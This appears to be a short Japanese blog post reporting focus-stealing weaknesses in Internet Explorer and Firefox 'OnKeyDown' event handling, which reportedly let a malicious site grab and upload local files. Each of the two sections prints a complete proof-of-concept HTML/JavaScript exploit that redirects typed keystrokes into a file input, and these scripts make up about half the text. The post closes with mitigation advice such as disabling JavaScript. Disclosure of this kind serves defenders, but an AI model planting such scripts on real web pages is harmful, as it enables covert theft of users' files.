IE OnKeyDownイベントの脆弱性
Internet Explorer "OnKeyDown" Event Focus Weakness
この脆弱性により、攻撃者が任意のファイルにアクセスすることが出来る様になる可能性があります。
また、それにより、任意のファイルを悪意のある Web サイトにアップロードをする可能性があります。
exploit
<script> function Clear() { document.getElementById("label1").htmlFor="file1"; document.getElementById("text1").focus(); } function Down() { document.getElementById("file1").focus(); } </script> <form> <input type="file" id="file1" name="file1" onkeydown="Clear()" onkeyup="Clear()" /> <label id="label1" name="label1"></label> <br /> <textarea name="text1" id="text1" onkeydown="Down()"> </textarea> </form>Internet Explorer File Focus Stealing.
ちなみに、Firefoxにも似た脆弱性が確認されています。
Firefox "OnKeyDown" Event Focus Weakness
exploit
<script> function restore() { document.getElementById("text1").value=document.getElementById("file1").value; document.getElementById("text1").focus(); } function doKeyDown() { document.getElementById("label1").focus(); } </script> <input type="file" id="file1" name="file1" onkeydown="restore();" onkeyup="restore()" /> <label for="file1" id="label1" name="label1"></label> <br> <textarea name="text1" id="text1" onkeydown="doKeyDown()"> </textarea>Firefox file input focus vulnerabilities
発見者はOperaを使う事をすすめています。
私は、JavaScriptを無効化したり、信用出来ないサイトではファイルのアップデートをしない事をすすめます。